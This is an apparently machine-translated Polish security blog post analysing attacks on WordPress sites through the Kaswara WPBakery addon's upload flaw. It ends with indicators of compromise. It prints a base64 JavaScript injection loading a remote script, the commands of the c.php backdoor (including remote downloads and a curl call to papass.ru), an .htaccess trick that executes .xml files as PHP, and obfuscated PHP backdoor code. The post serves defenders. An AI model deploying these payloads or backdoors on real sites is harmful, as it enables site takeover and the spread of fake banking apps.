Podatna na ataki wtyczka Kaswara Modern WPBakery Page Builder jest wykorzystywana na wolności

Opublikowany: 2021-06-08

20 kwietnia 2021 r. nasi przyjaciele z WPScan zgłosili poważną lukę w dodatkach Kaswara Modern VC, znanych również jako dodatki Kaswara Modern WPBakery Page Builder. Nie jest już dostępny w Codecanyon/Envato, co oznacza, że ​​jeśli masz to uruchomione, musisz wybrać alternatywę.

Ta luka umożliwia nieuwierzytelnionym użytkownikom przesyłanie dowolnych plików do katalogu ikon wtyczki (./wp-content/uploads/kaswara/icons). To pierwszy wskaźnik kompromisu (IOC), który nasi przyjaciele z WPScan podzielili się z nami w swoim raporcie.

Możliwość przesyłania dowolnych plików na stronę internetową daje złemu graczowi pełną kontrolę nad stroną, co utrudnia określenie ostatecznego ładunku tej infekcji; w ten sposób pokażemy ci wszystko, co do tej pory znaleźliśmy (trochę poniosło nas badanie, więc możesz przejść do sekcji MKOl, jeśli nie chcesz czytać).

Wstrzykiwanie bazy danych, fałszywe aplikacje na Androida i inne backdoory

Podziękowania dla naszego przyjaciela Denisa Sinegubko z Sucuri za wskazanie, że w przypadku tego ataku wykorzystano następstwo wstrzyknięcia bazy danych.

Źli aktorzy zaktualizowaliby opcję „kaswara-customJS”, aby dodać dowolny złośliwy fragment kodu JavaScript. Oto jeden przykład, który znaleźliśmy:

INSERT INTO `wp_options` (`option_id`, `option_name`, `option_value`, `autoload`) VALUES (1856,'kaswara-customJS',
'dmFyIHNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoXCdzY3JpcHRcJyk7CnNjcmlwdC5vbmxvYWQgPSBm
dW5jdGlvbigpIHsKfTsKc2NyaXB0LnNyYyA9IFwiaHR0cHM6Ly9ldmFkYXYubGluay9zY3JpcHQuanNcIjsKZG9jdW1lbnQu
Z2V0RWxlbWVudHNCeVRhZ05hbWUoXCdoZWFkXCcpWzBdLmFwcGVuZENoaWxkKHNjcmlwdCk7','yes');

Ten ciąg zakodowany w base64 przekłada się na:

var script = document.createElement(\'script\');
script.onload = function() {
};
script.src = \"hxxps://evadav[.]link/script.js\";
document.getElementsByTagName(\'head\')[0].appendChild(script);

I jak to zwykle bywa w przypadku tego typu skryptu, będzie on ładował szereg innych fragmentów kodu JavaScript, a ostatecznym ładunkiem będzie albo złośliwa reklama, albo zestaw exploitów. Jest to bardzo podobne do tego, co opisał tutaj Wordfence.

W tym przypadku skrypt umiera na hxxp://double-clickd[.]com/ i nie ładuje żadnej złej zawartości. Znalazłem podejrzany Javascript dzwoniący do tej strony od początku 2020 roku, a ludzie blokują ją już od 2018 roku.

Fałszywe aplikacje przesłane na stronę

40 aplikacji na Androida znalezionych na zbadanych przez nas witrynach internetowych to fałszywe wersje różnych aplikacji, takich jak AliPay, PayPal, Correos, DHL i wiele innych, które na szczęście zostały wykryte przez najpopularniejszych producentów antywirusów zgodnie z analizą VirusTotal.

Wyniki VirusTotal dotyczące jednego z plików APK znalezionych w zaatakowanej witrynie

Nie sprawdziłem intencji aplikacji, ale szybki przegląd uprawnień, o które prosi, może dać nam wgląd w to, co może zrobić:

  • android.permission.WRITE_SMS
  • android.permission.RECEIVE_SMS
  • android.permission.FOREGROUND_SERVICE
  • android.permission.KILL_BACKGROUND_PROCESSES
  • android.permission.READ_CONTACTS
  • android.permission.READ_PHONE_STATE
  • android.permission.READ_SMS
  • android.permission.ACCESS_NETWORK_STATE
  • android.permission.QUERY_ALL_PACKAGES
  • android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS
  • android.permission.INTERNET
  • android.permission.SEND_SMS
  • android.permission.CALL_PHONE
  • android.permission.WAKE_LOCK
  • android.permission.REQUEST_DELETE_PACKAGES

Pliki te nie są jednak od razu przesyłane przy użyciu exploita Kaswara. Po zhakowaniu witryny atakujący najpierw prześlą inne narzędzia, aby w pełni kontrolować witrynę.

Przesłane pliki

Niektóre backdoory i inne złośliwe oprogramowanie zostały również znalezione na stronach internetowych zaatakowanych przez tę lukę. W tym poście podzielę się szybką analizą tych najpopularniejszych i najciekawszych. Najpierw jednak skupię się na tym najbardziej złożonym.

Aplikacje przekierowujące i fałszywe

Fałszywe aplikacje, które znalazłem na kilku zhakowanych witrynach, nie zostały przesłane przez wykorzystanie luki Kaswara. Są one przesyłane do witryny za pomocą wielofunkcyjnego narzędzia hakerskiego, które umożliwia atakującemu przesłanie zdalnego kodu (poprzez podanie adresu URL lub ciągu) i przekierowanie użytkownika do złośliwej witryny.

Plik można łatwo zidentyfikować po obecności następującego ciągu: base64_decode('MTIz');error_reporting(0); funkcjonować

Co ciekawe, losuje wszystko poza tym.

Złośliwe oprogramowanie znajduje się w jednej linii, co jest również interesującym IOC, jeśli szukasz tego typu anomalii kodu.

Malware c.php z pełnym kodowaniem

Aby ułatwić zrozumienie, rozszyfrowałem większość kodu, zmieniłem nazwy interesujących funkcji i upiększyłem kod. Szkodnik zawiera 6 różnych funkcji, a 5 z nich bazuje na wartościach przekazanych w zmiennej $_GET['ts'] . W przypadku tego dokumentu rozważmy jedną z wielu instancji, które znalazłem: c.php .

/c.php?ts=kt

To nic nie robi i zmusi witrynę do zwrócenia błędu 500 (później w kodzie).

/c.php?ts=1

Zmienia wartość flagi $q1a na true w celu sprawdzenia poprawności kodu i wysłania do atakującego komunikatu OK.

W tym przypadku witryna zdalna odpowiada: {"body":"","headers":["Location: http:\/\/good-valid-1"],"status":302,"contentType":""}

/c.php?ts=sv&v=”Kod”&p=40bd001563085fc35165329ea1ff5c5ecbdbbeef

Zapisuje plik na serwerze z kodem dostarczonym przez zawartość $_GET["v"] tak długo, jak $_GET["p"] jest sumą kontrolną SHA1 równą 123 (pamiętasz ten pierwszy IOC base64_decode('MTIz') ? jest ta suma kontrolna).

/c.php?ts=tt

Zapisuje 5 MB „-” na serwerze, prawdopodobnie używany do testowania, czy funkcja przesyłania będzie działać na serwerze.

/c.php?ts=dwm&h=HASH1,HASH2

Gdy złośliwe oprogramowanie otrzyma to żądanie, wykonuje test, aby sprawdzić, czy przesłane pliki zostały pomyślnie zapisane na serwerze. Ich skróty MD5 muszą być znane i wysyłane do zmiennej $_GET['h'] jako wartości oddzielone przecinkami.

/c.php?ts=dw&h=hash&l=URLs_as_CSV

Pobiera plik z szeregu witryn internetowych innych firm i zapisuje go na serwerze, nadając mu nazwę po ostatnich 12 znakach md5 pobranego pliku.

Jest to funkcja używana do przesyłania fałszywych aplikacji na serwer.

Oto przykład żądania pobrania złośliwych plików /c.php?ts=dw&h=7e7bcc10406f3787b0a08d4199e6a697&l=http%3A%2F%2Fsmurfetta.ru%2Fhash-de%2F%3Fh%3D7e7bcc10406f3787b0a08d4199e6a697

Przekierowywanie dostępu

Jeśli wybrano opcję kt lub nie wybrano żadnej opcji, kod przechodzi do przekierowania, które uzyskuje się poprzez żądanie obiektu blob JSON z potrzebnymi danymi. Następnie przechodzi do przekierowania odwiedzającego za pomocą funkcji nagłówka.

Odpowiedź jest taka: {"body":"","headers":["Location: https:\/\/stunningawards.life\/?u=yuek60p&o=2k5p1e0&m=1"],"status":302,"contentType":""}

Funkcja do wykonania żądania cURL z wymaganymi parametrami jest następująca: Nic nadzwyczajnego…

I można to przetłumaczyć na to żądanie cURL:

curl -X POST hxxp://papass[.]ru/click_api/v3 \
    -H 'X-Forwarded-For: 200.171.221.1' \
    -H 'Accept-Language: *' \
    -H 'User-Agent: Mozilla/5.0 (Linux; Android 11; SAMSUNG SM-G975F) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/14.0 Chrome/87.0.4280.141 Mobile Safari/537.36' \
    -d 'token=hmfovdqs9vfxp8s4rwqzxbfz6c43bwgb&force_redirect_offer=1&sub_id_1=dbhomeworkout.com&sub_id_2=dbhomeworkout.com&sub_id_3=dbhomeworkout.com&sub_id_4'

O ile mogłem przetestować, końcowy adres URL jest losowy, ale ma tę samą cechę, co fałszywa strona popularnej usługi lub aplikacji.

wp-content/uploads/kaswara/icons/16/javas.xml i wp-content/uploads/kaswara/icons/16/.htaccess

Plik XML zwykle nie jest oznaczany jako potencjalne zagrożenie, ale w tym przypadku mamy specjalnie spreparowany plik .htaccess, który zmienia sposób, w jaki widzi go serwer WWW:

Order Deny,Allow
Allow from all

<FilesMatch "_?(javas|homes|menus)\.(php|xml|pdf)\d*$">
    AddHandler application/x-httpd-php .xml .pdf
    AddType application/x-httpd-php .xml .pdf
    # ---
    SetHandler application/x-httpd-php
    ForceType application/x-httpd-php
    # ---
    php_value engine 1
    # ---
    Order Deny,Allow
    Allow from all
</FilesMatch>

W rzeczywistości mówi Apache, aby zrozumiał wszelkie pliki java, homes lub menu z xml, php lub pdf jako plik PHP, który należy odpowiednio przetworzyć i wykonać. Tak więc każdy z tych plików znajdujących się w tej samej strukturze katalogów co ten .htaccess będzie podejrzany.

Plik javas.xml jest taki sam, jak niektóre inne złośliwe pliki przesłane do witryny. Zauważyłem, że różnica polega na tym, że niektóre mają jedną lub dwie puste linie na końcu pliku, co sprawia, że ​​tradycyjne mieszanie jest nieco trudniejsze.

<?php
$LnWYZK 	  	="\163"."\164" 	 ."\162\137\162\157"	 	.	 	"\164"	. 		  (		 279	 	-  			266)	 	  ; 	 	 if( !empty		 	 (	$ { 	 $LnWYZK	   	
("\137"	.	"\103\102\106" 		 	.		 "\107")}	) 	 		)  			{  	 			 $nNZph 	 =$LnWYZK		 (	 		 "\172". 		"\161". 	(4334	 	
-4329	)		   	 	)			  ; $ouQLkV  	 	= $LnWYZK		 (	 	 	"\157\156"  	.  	"\146" .		 "\162"	.		  	 (	  9680	 	-	  9616)  	 . "\137" 		
. 		"\161"   		.   		"\162\160\142\161\162" 	 ) 		  ; 			  $VNfzSD  	 	=$LnWYZK("\160\145\162"."\156\147\162\137\163\150\141\160"	
. "\147\166\142\141" 			 ); 	  	foreach	($			  { 	 	 $LnWYZK(			  "\137".	 	"\103"  	.	  		"\102" . 			 "\106"	 	. 		"\107" 	 		
)  			}	  as	$IKRDzf   		=>	$NIvHUr	  )( 	  	$nNZph  			(	   	$IKRDzf  	)  	===	 	  		 "c"	  .  (2668 - 	  	2626	 		 )   			.   		
"\145\141"   		."\71"		   .  			"\67"	."\71\145\144"	 	.	  "\71\70\62"	.  	"\143\60" 	 . 	 	 	(314406	  -51163		 )	 	 	. "\60" 			 
.	"\145" 	 . 			 "\71" 	 .		   "\145" . "\71"	  		.	"\70"	  	 .			  "\141"	  		.	 	"\66" . 		"\66"	.	"\144"		  	.    		( 	  	9786	-		 	 
9780 		) 		  		 	&&  	$QZCMY	 		 =	 	  $VNfzSD( ""  			, 	 $ouQLkV (  	$NIvHUr)   		)  	) 		 		 	 	?$QZCMY 	 () : " 		"		  	
;  	}

Złośliwy kod jest maskowany za pomocą ciągów znaków zakodowanych w str_rot13 i base64. Używa również wartości szesnastkowych i operacji matematycznych, aby nieco bardziej ukryć ciągi. Ostateczny ładunek jest nieznany, ponieważ utworzy funkcję opartą na wartościach żądania POST. Jednak ładunek wydaje się być taki sam za każdym razem, ponieważ opiera się na sprawdzeniu md5 przed jego utworzeniem (c42ea979ed982c02632430e9e98a66d6 to skrót md5).

Wniosek

Ponieważ jest to aktywna kampania, w momencie pisania tego posta znajdujemy coraz więcej różnych przykładów złośliwego oprogramowania umieszczanych na zaatakowanych stronach. Niektóre są tylko odmianami tego, co tutaj mamy, podczas gdy inne są wystarczająco interesujące, aby przeprowadzić głębszą analizę. Poszukaj kilku mniejszych postów, które pojawią się wkrótce, aby poznać niektóre z tych innych przykładów.

To ilustruje znaczenie aktualizacji rozszerzeń najnowszymi poprawkami bezpieczeństwa; jeśli programiści nie publikują poprawek na czas lub zostaną usunięte z repozytorium WordPress.org (lub innych rynków), zdecydowanie zalecamy znalezienie bezpieczniejszej alternatywy.

Jeśli obawiasz się złośliwego oprogramowania i luk w zabezpieczeniach swojej witryny, sprawdź funkcje bezpieczeństwa Jetpack. Jetpack Security zapewnia łatwe w użyciu, kompleksowe zabezpieczenia witryny WordPress, w tym tworzenie kopii zapasowych, skanowanie złośliwego oprogramowania i ochronę przed spamem.

Wskaźniki kompromisu

Tutaj znajdziesz pełną listę wszystkich IOC, które zidentyfikowaliśmy:

Hasz (SHA-1) Ścieżka Opis zagrożenia
754ee56344b190a7240732eabd43ef8f2e8bace9 ./2f31eab3b335 Fałszywa aplikacja na Androida
8f88f0a169323442fe5c7de2a7d0febcfe6d29c7 ./28052809bdd7 Fałszywa aplikacja na Androida
1acfd18acc6d4a8413ec417ce02c9cdcfd7f23cd ./ce52e434cded Fałszywa aplikacja na Androida
b354b2193e13956747cf3cf1268caaa9ae9601a0 ./c016456e66cd Fałszywa aplikacja na Androida
b2cd34e08ea7fad5bef8bb3606d25a2c1cf76466 ./5d64d12229cf Fałszywa aplikacja na Androida
886ce65890fb467f8843ba4de782cb65966ef801 ./47e3bdf4ac71 Fałszywa aplikacja na Androida
e2314e2de6e12aa6a600fbc538d75c37b7651b7b ./026ec4ebebfe Fałszywa aplikacja na Androida
970a29c4322e70ac820f181ff64e9089b6ce69ca ./5610ec2e788c Fałszywa aplikacja na Androida
ce7eba127d1d0373af8ab3738bd358d0ed1b7c62 ./9be9954a7c0a Fałszywa aplikacja na Androida
423d83a87a3833440f6b810967795876b83b7a90 ./34b0ea9d688e Fałszywa aplikacja na Androida
455000cc6fa2693d4ef9cdd1f0e551c720a660f0 ./7986aa5f641b Fałszywa aplikacja na Androida
f1a3f3ffa13a98e75da208aa151910052a2893f6 ./648cabbe0afa Fałszywa aplikacja na Androida
98c6df3fbeb19e4c9a91b82ea4df9ab2dbb901a6 ./20f9849711cc Fałszywa aplikacja na Androida
1c6ba3c92895e3d01283cfde2bda2c7f3b6874b3 ./75002db259ea Fałszywa aplikacja na Androida
8a2cb8808b11c7d24a5111501aed3e4494e4b292 ./0c7e4e6a39eb Fałszywa aplikacja na Androida
f43e3c2cd746f245ac9f38272a81fe1bab1ce415 ./7237cd011f42 Fałszywa aplikacja na Androida
f210df00ee1978fc3eda3bc5759d2f7627950c20 ./3186fb436dae Fałszywa aplikacja na Androida
b9c2dc421010fb1f273ae40f176da4854830e6b8 ./04d2e95f9573 Fałszywa aplikacja na Androida
8484f4bcba9a8ad5f2a451ee8a541929d80400cc ./34b67b93da5e Fałszywa aplikacja na Androida
e5b5d3c7789ac0c5fcabf6d18328c9ddf1c891e6 ./502ba128d12c Fałszywa aplikacja na Androida
eb41990973aa178d156a83050d34ad9831f66567 ./2501a5736f6e Fałszywa aplikacja na Androida
814178f5442be9e748769d61342e33b66ae119f6 ./ddb83c37197f Fałszywa aplikacja na Androida
edc53993d4f37286985374f6ebbe29815c42b61c ./2e0ed75c116b Fałszywa aplikacja na Androida
6c014dca61b1cd3e6981a731808317d7e931fc94 ./5f6ec9795436 Fałszywa aplikacja na Androida
295d49d596b5d062de7d52548ded91284b67ef6a ./7ed8c17a7cd7 Fałszywa aplikacja na Androida
c83b20deb16bb1d47a6137b99b7230d707b2a1dc ./4b30e0221c16 Fałszywa aplikacja na Androida
6c709124972f6506bd7562ebe4b2567e7dfb7b75 ./0faa25f73e3c Fałszywa aplikacja na Androida
816a5ad37b5e1bf7e069969f10f0af41d4ba492f ./a64122f493dc Fałszywa aplikacja na Androida
a04651dd95f74a074150bcfe7f6535b0542c8f63 ./3980315c7daa Fałszywa aplikacja na Androida
9d9c89268e5158f93b3b0accb387314133d5e719 ./da15f8061ab2 Fałszywa aplikacja na Androida
ce8dfe115d9546197d57c9cc9f93abb513aadf4a ./715b3f4ed70d Fałszywa aplikacja na Androida
2b61271653b8bd82016ce743cabca8c48444f2c8 ./f8c2f1514938 Fałszywa aplikacja na Androida
1d8f259a424c2f7b6441b7ab568623ef762a5325 ./ea40ee4cea57 Fałszywa aplikacja na Androida
21f070e33da3a574526817eede699798e59971c1 ./73b6daad56b6 Fałszywa aplikacja na Androida
de364006dc140251a90adf8ddfd23b00d4c494c5 ./a70ce1c2d003 Fałszywa aplikacja na Androida
1c0bd522cb786e8697bb907f8771c66d991d672c ./4c63cfe07251 Fałszywa aplikacja na Androida
a36c3667be58efa50441418b58b5487d873b5d63 ./067fd1c69444 Fałszywa aplikacja na Androida
8c21c99670e9158f12ac88feba2e87aaa93b41f0 ./57fd16f4719d Fałszywa aplikacja na Androida
31285841768b43a5973b268df2a761055f25b25f ./14834dab2dd7 Fałszywa aplikacja na Androida
d3ee06b4c26f7c59b6248f50c8d272e002180d7a ./28b655b495a9 Fałszywa aplikacja na Androida
8639df09b4ec97c084ed2be1a914b540eb8ab29e ./c.php Porzucone złośliwe oprogramowanie
95217d8c55b9a83aea2e7d030388daba1e49e27e ./medovq.php Porzucone złośliwe oprogramowanie
2831ea2f80e71f07c408133986cca2558106b9fc /wp-content/uploads/kaswara/icons/kntl/img.php Narzędzie do przesyłania plików PHP
0fd64ada7454cf1d2640e8f45ea42ca292b3a461 wp-content/uploads/kaswara/icons/kntl/cc.php Porzucone złośliwe oprogramowanie
da39a3ee5e6b4b0d3255bfef95601890afd80709 wp-content/uploads/kaswara/icons/16/icons.php Malware do zdalnego wykonywania kodu
d51366d5062e7fd4d1422a59e75b585053643549 wp-content/uploads/kaswara/icons/brt/t.php Porzucone złośliwe oprogramowanie
4dfbc3c89b170c85a2b2a14c17c12f3e31a7c9b0 ./wp-content/siteindex.php Porzucone złośliwe oprogramowanie
7464d78fd5022a54203c2c63b80096ce96932422 ./wp-content/uploads/kaswara/fonts_icon/test2/index.php Porzucone złośliwe oprogramowanie
6b763826e285aa96cc4a443edc9f7b8637fa4fd4 ./wp-content/uploads/kaswara/fonts_icon/test3/index.php Porzucone złośliwe oprogramowanie
486ea7a58e28d9f112eb566711d0d8b594f6b238 ./wp-content/uploads/kaswara/fonts_icon/test3/log.zip Porzucone złośliwe oprogramowanie
8b425ee35d253bc891ef9d44a64f20f0b105e4f4 ./wp-content/uploads/kaswara/fonts_icon/test2/log.zip Porzucone złośliwe oprogramowanie
5dd9180835cfbc85e56f25a71977a6fc6a256b35 ./wp-content/themes/admindex.php Porzucone złośliwe oprogramowanie
7f58c0dfc3dbc5994a757712cd7fb2553d5339dc ./wp-rezerwacja.php Porzucone złośliwe oprogramowanie
4566e050c30ce0a6b7fd5c82e9a34a9624d9b2e6 ./icons/icons.php Malware do zdalnego wykonywania kodu
f7c7fc098575895d9e27b04108ee481b84285aaf ./ikony/yrecyt.php Porzucone złośliwe oprogramowanie
0f7ceaf44a9f4eca9ca024d84ec0c6a1bd600447 ./xeh02b.php lub ./wp-content/uploads/xeh02b.php Porzucone złośliwe oprogramowanie
64e1b82b8e1fae20fa846b0003c877bc454c00b8 ./icons/pewegy.php Porzucone złośliwe oprogramowanie
1926459cbe6f3fae524d5c1aa966a023b9def873 ./icons/icons.php Malware do zdalnego wykonywania kodu
7ed5b8559e1bd49bd0f4a8d0f909c429ed48b6c3 ./wp-craft/scr.php Porzucone złośliwe oprogramowanie
wp-content/uploads/kaswara/icons/16/javas.xml Malware do zdalnego wykonywania kodu
smurfetta.ru Złośliwa domena
http://papass.ru Złośliwa domena